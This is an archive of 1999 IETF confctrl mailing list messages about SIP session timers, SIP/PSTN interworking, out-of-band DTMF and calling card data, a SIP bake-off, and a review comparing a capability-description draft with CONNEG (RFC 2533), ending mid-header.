From: "Donovan, Steven R." <Steven.R.Donovan@wcom.com>
Subject: Session timer draft
To: confctrl@ISI.EDU
Message-id: <93496446F5EDD211A8C100805FEAD74901C28F@nsrip00207.mcit.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2571.0)
Content-type: multipart/alternative;
	boundary="----_=_NextPart_001_01BED38D.EE2E567A"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BED38D.EE2E567A
Content-Type: text/plain;
	charset="iso-8859-1"

It was agreed at the Oslo MMUSIC working group meeting that there is
value in moving forward with the session timer concept.  As such, I
would encourage everyone to do a detailed reading of the draft with the
intent of getting it ready for working group last call in the near
term.

Please send your comments either directly to me or put them on the
list.  I will summarize comments sent directly to me on the list before
making any modifications to the document.  Once we have reached
concensus on the needed changes to the draft, I will republish with the
intent that the next version will be used for working group last call.

Regards,

Steve

------_=_NextPart_001_01BED38D.EE2E567A
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2569.0">
<TITLE>Session timer draft</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>It was agreed at the Oslo MMUSIC working group meeting that there is</FONT>
<BR><FONT SIZE=2>value in moving forward with the session timer concept.&nbsp; As such, I</FONT>
<BR><FONT SIZE=2>would encourage everyone to do a detailed reading of the draft with the</FONT>
<BR><FONT SIZE=2>intent of getting it ready for working group last call in the near</FONT>
<BR><FONT SIZE=2>term.</FONT>
</P>

<P><FONT SIZE=2>Please send your comments either directly to me or put them on the</FONT>
<BR><FONT SIZE=2>list.&nbsp; I will summarize comments sent directly to me on the list before</FONT>
<BR><FONT SIZE=2>making any modifications to the document.&nbsp; Once we have reached</FONT>
<BR><FONT SIZE=2>concensus on the needed changes to the draft, I will republish with the</FONT>
<BR><FONT SIZE=2>intent that the next version will be used for working group last call.</FONT>
</P>

<P><FONT SIZE=2>Regards,</FONT>
</P>

<P><FONT SIZE=2>Steve</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01BED38D.EE2E567A--

From confctrl-owner  Wed Jul 21 08:39:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA17734
	for confctrl-outgoing; Wed, 21 Jul 1999 08:39:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA17729
	for <confctrl@zephyr.isi.edu>; Wed, 21 Jul 1999 08:39:03 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26682
	for <confctrl@isi.edu>; Wed, 21 Jul 1999 08:39:01 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id KAA19406
	for <confctrl@isi.edu>; Wed, 21 Jul 1999 10:38:30 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA19458
	for <confctrl@isi.edu>; Wed, 21 Jul 1999 10:38:10 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA05719 for <confctrl@isi.edu>; Wed, 21 Jul 1999 10:38:30 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA10841
	for confctrl@isi.edu; Wed, 21 Jul 1999 10:39:11 -0500 (CDT)
Message-Id: <199907211539.KAA10841@b04a24.exu.ericsson.se>
Subject: SIP/PSTN interworking draft
To: confctrl@ISI.EDU
Date: Wed, 21 Jul 1999 10:39:10 -0500 (CDT)
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


My interpretation of the feedback I had at last week's MMUSIC meeting 
on draft-roach-mmusic-sip-pstn-require-header-00.txt is as follows:

1. In-band DTMF transmission should be removed from the draft.

2. Call-control services should be removed from the draft.

3. Out-of-band DTMF transit is controversial.

My purpose in this message is to check if there are any counter-arguments
to the first two points which anyone would like to present, and to
begin a dialogue on the third point. 

To summarize what I beleive the main arguements for and against inclusion
of OOB DTMF:

- Christian Huitema made the point that an interworking draft should
  limit itself to those features absolutely necessary for signalling
  interworking. Since DTMF isn't a necessary part of call setup and
  teardown, it doesn't belong in this draft.

- Steve Donovan contends that, without having a requirement to send
  DTMF information in a format understood by SIP nodes, the most
  basic services (such as calling card services) will be impossible
  to implement. PSTN interworking is of limited value if you can't
  authenticate users.

I'm on the fence, myself. Both seem like valid arguments. I'd appreciate
it if anyone who has a stake in this arena would weigh in on one side
or the other. Thanks.

-- 
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Thu Jul 22 07:08:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA13986
	for confctrl-outgoing; Thu, 22 Jul 1999 07:08:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA13981
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jul 1999 07:08:37 -0700 (PDT)
Received: from sheffield.cnchost.com (sheffield.concentric.net [207.155.252.12])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA28789
	for <confctrl@ISI.EDU>; Thu, 22 Jul 1999 07:08:37 -0700 (PDT)
Received: from [192.168.10.5] (ts002d43.cht-ma.concentric.net [206.173.19.103])
	by sheffield.cnchost.com
	id KAA21501; Thu, 22 Jul 1999 10:08:28 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
Date: Thu, 22 Jul 1999 10:10:36 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
cc: confctrl@ISI.EDU
Subject: Re: SIP/PSTN interworking draft
In-Reply-To: <199907211539.KAA10841@b04a24.exu.ericsson.se>
Message-ID: <Pine.LNX.4.10.9907220958200.3210-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

It would be a very interesting thing to have a standard 
format for Calling Card Information, so that it could be 
included within, among other things a SIP payload. 
This would include the information on a "usual" calling
card, such as the carriers name, the owner's name, the
calling card number, perhaps a few bytes of special
restrictions. The whole thing would be protected via
either a password (analogous to the PIN) or via 
public-key. 

The point of all that is -- surely the correct format
has nothing to do with OOB dtmf. In fact, dtmf could
not be used, since the only way to tell in a stream
of random dtmf digits which is the calling card number,
which is the pin, etc., is to correlate the digits
with other real-time prompts. ("please enter your pin",
"please enter your calling card number"). Therefore, 
such dtmf information would need to be in band. 

Bottom line -- calling card info, yes. 
DTMF strings within SIP, no.


Final suggestion -- if there really is some 
need to send DTMF within SIP, I humbly suggest
that the dtmf be put into a MIME payload of type:
audio/telephone-events which is being defined
right now in AVT. The encoding of this MIME
type should be exactly -- the RTP dtmf payload
type. Why invent a new encoding? 

Scott



On Wed, 21 Jul 1999, Adam B. Roach wrote:

> 
> My interpretation of the feedback I had at last week's MMUSIC meeting 
> on draft-roach-mmusic-sip-pstn-require-header-00.txt is as follows:
> 
> 1. In-band DTMF transmission should be removed from the draft.
> 
> 2. Call-control services should be removed from the draft.
> 
> 3. Out-of-band DTMF transit is controversial.
> 
> My purpose in this message is to check if there are any counter-arguments
> to the first two points which anyone would like to present, and to
> begin a dialogue on the third point. 
> 
> To summarize what I beleive the main arguements for and against inclusion
> of OOB DTMF:
> 
> - Christian Huitema made the point that an interworking draft should
>   limit itself to those features absolutely necessary for signalling
>   interworking. Since DTMF isn't a necessary part of call setup and
>   teardown, it doesn't belong in this draft.
> 
> - Steve Donovan contends that, without having a requirement to send
>   DTMF information in a format understood by SIP nodes, the most
>   basic services (such as calling card services) will be impossible
>   to implement. PSTN interworking is of limited value if you can't
>   authenticate users.
> 
> I'm on the fence, myself. Both seem like valid arguments. I'd appreciate
> it if anyone who has a stake in this arena would weigh in on one side
> or the other. Thanks.
> 
> -- 
> Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
> adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA
> 



From confctrl-owner  Thu Jul 22 12:45:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA29016
	for confctrl-outgoing; Thu, 22 Jul 1999 12:45:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA29011
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jul 1999 12:45:04 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA03736
	for <confctrl@ISI.EDU>; Thu, 22 Jul 1999 12:45:03 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id OAA28013;
	Thu, 22 Jul 1999 14:44:35 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id OAA05056;
	Thu, 22 Jul 1999 14:44:11 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45.exu.ericsson.se [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id OAA16811; Thu, 22 Jul 1999 14:44:32 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id OAA05157;
	Thu, 22 Jul 1999 14:44:13 -0500 (CDT)
Date: Thu, 22 Jul 1999 14:44:13 -0500 (CDT)
Message-Id: <199907221944.OAA05157@b04a45.exu.ericsson.se>
To: scott.petrack@metatel.com
Subject: Re: SIP/PSTN interworking draft
Cc: confctrl@ISI.EDU
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> It would be a very interesting thing to have a standard 
> format for Calling Card Information, so that it could be 
> included within, among other things a SIP payload. 
> This would include the information on a "usual" calling
> card, such as the carriers name, the owner's name, the
> calling card number, perhaps a few bytes of special
> restrictions. The whole thing would be protected via
> either a password (analogous to the PIN) or via 
> public-key. 
> 

This is an interesting approach to providing calling card services, but 
I don't see a need to standardize this. In fact, I see a great deal of 
value in different service providers doing this in different ways.

> The point of all that is -- surely the correct format
> has nothing to do with OOB dtmf. In fact, dtmf could
> not be used, since the only way to tell in a stream
> of random dtmf digits which is the calling card number,
> which is the pin, etc., is to correlate the digits
> with other real-time prompts. ("please enter your pin",
> "please enter your calling card number"). Therefore, 
> such dtmf information would need to be in band. 
> 

Certainly, but then again, I wouldn't propose sending all of those digits
in one continuous stream. 

> 
> Final suggestion -- if there really is some 
> need to send DTMF within SIP, I humbly suggest
> that the dtmf be put into a MIME payload of type:
> audio/telephone-events which is being defined
> right now in AVT. The encoding of this MIME
> type should be exactly -- the RTP dtmf payload
> type. Why invent a new encoding? 
>

I think this is a reasonable approach. To address the calling card problem,
I would recommend sending a multipart/parallel body where each section could
contain AVT encoded DTMF, appropriate strings, or base64/encrypted data for
"carriers name, the owner's name, the calling card number, perhaps a few bytes 
of special restrictions". Again though, I don't see that this needs to be
standardized. I think the important primitive here for building services is 
standardized way of relaying DTMF information along the signalling path.

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Thu Jul 22 15:50:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA08175
	for confctrl-outgoing; Thu, 22 Jul 1999 15:50:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA08164
	for <confctrl@zephyr.isi.edu>; Thu, 22 Jul 1999 15:50:33 -0700 (PDT)
Received: from mmsl.serc.iisc.ernet.in (mmsl.serc.iisc.ernet.in [144.16.85.63])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA24280
	for <confctrl@ISI.EDU>; Thu, 22 Jul 1999 15:50:29 -0700 (PDT)
Received: from localhost (prakash@localhost)
	by mmsl.serc.iisc.ernet.in (8.8.7/8.8.7) with SMTP id DAA16097
	for <confctrl@ISI.EDU>; Fri, 23 Jul 1999 03:59:53 -0500
Date: Fri, 23 Jul 1999 03:59:53 -0500 (GMT+5)
From: prakash sastry <prakash@mmsl.serc.iisc.ernet.in>
To: confctrl@ISI.EDU
Subject: SIP/PSTN draft
Message-ID: <Pine.LNX.3.96.990723035820.15711D-100000@mmsl.serc.iisc.ernet.in>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

i could not find the draft on the mmusic page at ietf.org. where can i
downloa this draft from.

TIA




From confctrl-owner  Fri Jul 23 07:46:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA17063
	for confctrl-outgoing; Fri, 23 Jul 1999 07:46:23 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17058
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jul 1999 07:46:21 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10005
	for <confctrl@ISI.EDU>; Fri, 23 Jul 1999 07:46:20 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id JAA12469;
	Fri, 23 Jul 1999 09:45:48 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id JAA24150;
	Fri, 23 Jul 1999 09:45:59 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24.exu.ericsson.se [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id JAA28145; Fri, 23 Jul 1999 09:45:48 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id JAA20127;
	Fri, 23 Jul 1999 09:46:28 -0500 (CDT)
Message-Id: <199907231446.JAA20127@b04a24.exu.ericsson.se>
Subject: Re: SIP/PSTN draft
To: prakash@mmsl.serc.iisc.ernet.in (prakash sastry)
Date: Fri, 23 Jul 1999 09:46:27 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <Pine.LNX.3.96.990723035820.15711D-100000@mmsl.serc.iisc.ernet.in> from "prakash sastry" at Jul 23, 99 03:59:53 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>i could not find the draft on the mmusic page at ietf.org. where can i
>downloa this draft from.

Sorry; I should have given a full citation in my original message.
The draft is <draft-roach-mmusic-sip-pstn-require-header-00.txt>,
and it can be found at:

http://www.ietf.org/internet-drafts/draft-roach-mmusic-sip-pstn-require-header-00.txt

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Jul 23 10:13:19 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA23854
	for confctrl-outgoing; Fri, 23 Jul 1999 10:13:19 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA23849
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jul 1999 10:13:18 -0700 (PDT)
Received: from Lawrence.roke.co.uk (Lawrence.roke.co.uk [193.118.192.41])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA22822
	for <confctrl@ISI.EDU>; Fri, 23 Jul 1999 10:13:17 -0700 (PDT)
Received: from [193.118.192.55] by Lawrence.roke.co.uk
 with SMTP (Eudora Internet Mail Server 1.3.1); Fri, 23 Jul 1999 18:16:20 +0100
X-Sender: lwc@derek.roke.co.uk
Message-Id: <v02140b00b3be517a135d@[193.118.192.80]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 23 Jul 1999 18:12:20 +0100
To: confctrl@ISI.EDU
From: lwc@roke.co.uk (Lawrence Conroy)
Subject: Re: SIP/PSTN interworking draft
Cc: scott.petrack@metatel.com, Sean Olson <eussean@exu.ericsson.se>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>> Scott wrote:
>> It would be a very interesting thing to have a standard
>> format for Calling Card Information, so that it could be
>> included within, among other things a SIP payload.
snip..
At 2:44 pm 22/7/99, Sean Olson commented:
>This is an interesting approach to providing calling card services, but
>I don't see a need to standardize this. In fact, I see a great deal of
>value in different service providers doing this in different ways.

To which I reply:
What value, pray?
It HAS to be something other than "security through obscurity".

Do you mean that you want to use your existing PSTN-based calling card
system that uses dtmf, therefore we have to tunnel dtmf through to a PSTN
gateway?

All the best, Lawrence
-----------------------------------------------------------------------
| Lawrence Conroy,    | "These Opinions must be mine, 'cos if they    |
| Roke Manor Research |  were my Company's they'd charge you for them"|
|- lwc@roke.co.uk  ---+- Tel: +44 1794 833666  Fax: +44 1794 833434 --|



From confctrl-owner  Fri Jul 23 12:58:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA03802
	for confctrl-outgoing; Fri, 23 Jul 1999 12:58:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA03797
	for <confctrl@zephyr.isi.edu>; Fri, 23 Jul 1999 12:58:05 -0700 (PDT)
Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA11561
	for <confctrl@ISI.EDU>; Fri, 23 Jul 1999 12:58:02 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4a.ericsson.com [198.215.127.160])
	by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id OAA20717;
	Fri, 23 Jul 1999 14:54:44 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id OAA12197;
	Fri, 23 Jul 1999 14:54:23 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45.exu.ericsson.se [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id OAA13272; Fri, 23 Jul 1999 14:54:44 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id OAA09123;
	Fri, 23 Jul 1999 14:54:24 -0500 (CDT)
Date: Fri, 23 Jul 1999 14:54:24 -0500 (CDT)
Message-Id: <199907231954.OAA09123@b04a45.exu.ericsson.se>
To: confctrl@ISI.EDU, lwc@roke.co.uk
Subject: Re: SIP/PSTN interworking draft
Cc: scott.petrack@metatel.com
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> >> Scott wrote:
> >> It would be a very interesting thing to have a standard
> >> format for Calling Card Information, so that it could be
> >> included within, among other things a SIP payload.
> snip..
> At 2:44 pm 22/7/99, Sean Olson commented:
> >This is an interesting approach to providing calling card services, but
> >I don't see a need to standardize this. In fact, I see a great deal of
> >value in different service providers doing this in different ways.
> 
> To which I reply:
> What value, pray?
> It HAS to be something other than "security through obscurity".
> 
No, I mean service differentiation. The type and amount of information 
you transit is going to determine your ability to provide services.
Different information means the possibility for different services.

> Do you mean that you want to use your existing PSTN-based calling card
> system that uses dtmf, therefore we have to tunnel dtmf through to a PSTN
> gateway?
> 

I mean that you want to be able to use your existing PSTN-based calling card
and other existing PSTN services. I realize this is not the model that 
everyone is following, but I believe there is good reason to provide for
PSTN interoperability.

> All the best, Lawrence
> -----------------------------------------------------------------------
> | Lawrence Conroy,    | "These Opinions must be mine, 'cos if they    |
> | Roke Manor Research |  were my Company's they'd charge you for them"|
> |- lwc@roke.co.uk  ---+- Tel: +44 1794 833666  Fax: +44 1794 833434 --|
> 
> 

Regards
-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154 


From confctrl-owner  Sat Jul 24 08:20:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA16890
	for confctrl-outgoing; Sat, 24 Jul 1999 08:20:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16885
	for <confctrl@zephyr.isi.edu>; Sat, 24 Jul 1999 08:20:49 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA14639
	for <confctrl@isi.edu>; Sat, 24 Jul 1999 08:20:48 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA18648
	for <confctrl@isi.edu>; Sat, 24 Jul 1999 11:20:47 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA16817
	for <confctrl@isi.edu>; Sat, 24 Jul 1999 11:20:46 -0400 (EDT)
Message-ID: <3799D9C5.9A9D68EA@cs.columbia.edu>
Date: Sat, 24 Jul 1999 11:20:37 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.6 [en] (X11; I; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Reminder: registration for 2nd SIP bake-off
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

If you plan to attend the 2nd SIP bake-off, please register as soon as
possible, since we'd like to put together "pairings" and plan
facilities. See http://www.pulver.com/sip/ for details.
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Jul 26 06:33:59 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA16952
	for confctrl-outgoing; Mon, 26 Jul 1999 06:33:59 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA16947
	for <confctrl@zephyr.isi.edu>; Mon, 26 Jul 1999 06:33:58 -0700 (PDT)
Received: from pegasus.group5.co.uk (mailhost.group5.co.uk [193.128.238.226])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA24142
	for <confctrl@isi.edu>; Mon, 26 Jul 1999 06:33:56 -0700 (PDT)
Received: from GK-Portable (unverified [62.188.132.12]) by pegasus.group5.co.uk
 (Rockliffe SMTPRA 2.1.5) with SMTP id <B0000832272@pegasus.group5.co.uk>;
 Mon, 26 Jul 1999 14:23:52 +0100
Message-Id: <3.0.32.19990726142846.01606ad0@pop.dial.pipex.com>
X-Sender: xex41@pop.dial.pipex.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Mon, 26 Jul 1999 14:32:28 +0100
To: <confctrl@ISI.EDU>, <megaco@standards.nortelnetworks.com>
From: Graham Klyne <GK@Dial.pipex.com>
Subject: draft-ott-mmusic-cap-00.txt
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

[Please include my address <GK@Dial.pipex.com> in any response to this]


I have read through the draft <draft-ott-mmusic-cap-00.txt> with some
interest, as it closely parallels work with which I have been involved.
For the most part, I shall not make detailed comments, but shall try to
address some broader issues about what I see as the relationship between
this draft and the IETF CONNEG work.


- In section 1.3 comments about the CONNEG work seem generally reasonable,
but do not explain what is accomplished by this proposal that is not
accomplished by the CONNEG work.

   The IETF Content Negotiation (conneg) working group is developing a
   collection of media features for display, print and fax [6], a
   registration procedure for feature tags (the names of capability
   properties) [7] as well as description and negotiation models [8] [9]
   for media features and capabilities. One of conneg's goals is to
   develop a ``tag independent negotiation'' process that can work
   without knowing the meaning of feature tags.

I note that references [8] and [9] refer to different versions of
essentially the same document, now published as RFC 2533.

For "tag independent negotiation" I think it would be more accurate to say
"tag independent feature matching".  The CONNEG work does not address
mechanisms for actually exchanging capabilities.

If I understand correctly the description of the T.124 capability
expression,  it turns out that the form provided is a special case of that
supported by the CONNEG syntax (and is effectively a Disjunctive Normal
Form which results from the feature set matching process described in RFC
2533).


- Section 2

Discusses the concept of "components", but it is not clear to me how these
are related to the "description language".

I did not see anything in this draft to address the following goals,
especially with respect to user preferences:

   The collapsing process may be influenced by additional constraints
   that may be expressed on the possible combinations of alternatives --
   between multiple instances of the same component as well as across
   (instances of) different components.  Also, user preferences may be
   taken into account -- during the collapsing process as well as when
   deciding on which potential configuration is to be instantiated as
   the actual configuration for a component.


- 2.4.  Collapsing Algorithm

   The objective of the collapsing algorithm is to take capability
   description sets from each end system in order to find a set of
   media-types, encodings and features that are supported by all end
   system, or, if this is not possible, to find a subset that would
   exclude as few systems as possible.

How does the algorithm act to find a subset to "exclude as few systems as
possible"?

I note that, apart from the final clause, this description could apply to
the feature matching algorithm in RFC 2533.  In this respect the goals are
the same (and, as far as I can tell, the algorithms used are not very
different).

I also note that the collapsing algorithm does not handle cases where
different constraints are applied to some given feature (e.g. one party
might specify "fps<=30" and another might specify "fps=15" for a video
frame rate).


- 3.  Specification of the Decription Language

As far as I can tell, the description language is semantically a subset of
that described in RFC 2533;  the "Basic description language" being
equivalent to Disjunctive Normal Form of the CONNEG syntax, and the
"Concise Description Language" being closer to the general CONNEG syntax form.

To illustrate this point, I express the example from section 3.2.1 in the
CONNEG notation:

The example:

           media: audio {
                   mode = receive | send;
                   channels = 1;
                   encoding: g711 {
                           compression: mulaw {
                                   sampling_rate = 8000 | 11025 | 16000;
                           } || compression: alaw {
                                   sampling_rate = 8000 | 11025 | 32000;
                           };
                   } || encoding: gsm {
                           compression = half | full | enhanced_full;
                   };
           };

(BTW, as far as I can tell, the ABNF in <draft-ott-mmusic-cap-00.txt>
allows only one level of grouped constraint, but this example uses two.)

RFC 2533 equivalent (assuming appropriate feature teg registrations):

           (& (media=audio)
              (mode=[receive,send])
              (channels=1)
              (| (& (encoding=G711)
                    (| (& (compression=mulaw)
                          (sampling-rate=[8000,11025,16000]) )
                       (& (compression=alaw)
                          (sampling-rate=[8000,11025,32000]) ) ) )
                 (& (encoding=gsm)
                    (compression=[half,full,enhanced-full]) ) ) )


- 6.  Composed Configurations

If I understand the stated intent correctly, I note that the CONNEG work
includes a concept of auxiliary predicates that can be used to label
configurations.

We are also working on another proposal
<draft-ietf-conneg-feature-hash-xx.txt> for labelling of arbitrary feature
sets using an MD5-hash-based identifier.


- XML form of capability expression

I have had some correspondence with a CC/PP participant who has defined an
XML/RDF representation for CONNEG feature expressions.  I would expect this
work to be formalized as a result of ongoing liaison between the CONNEG and
CC/PP groups.


- Mapping from/to SDP
- Integration into SDP

I believe this work would be equally applicable to the CONNEG syntax and
framework.


#g

------------
Graham Klyne
(GK@ACM.ORG)


From confctrl-owner  Mon Jul 26 12:53:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA04427
	for confctrl-outgoing; Mon, 26 Jul 1999 12:53:10 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA04417
	for <confctrl@zephyr.isi.edu>; Mon, 26 Jul 1999 12:53:08 -0700 (PDT)
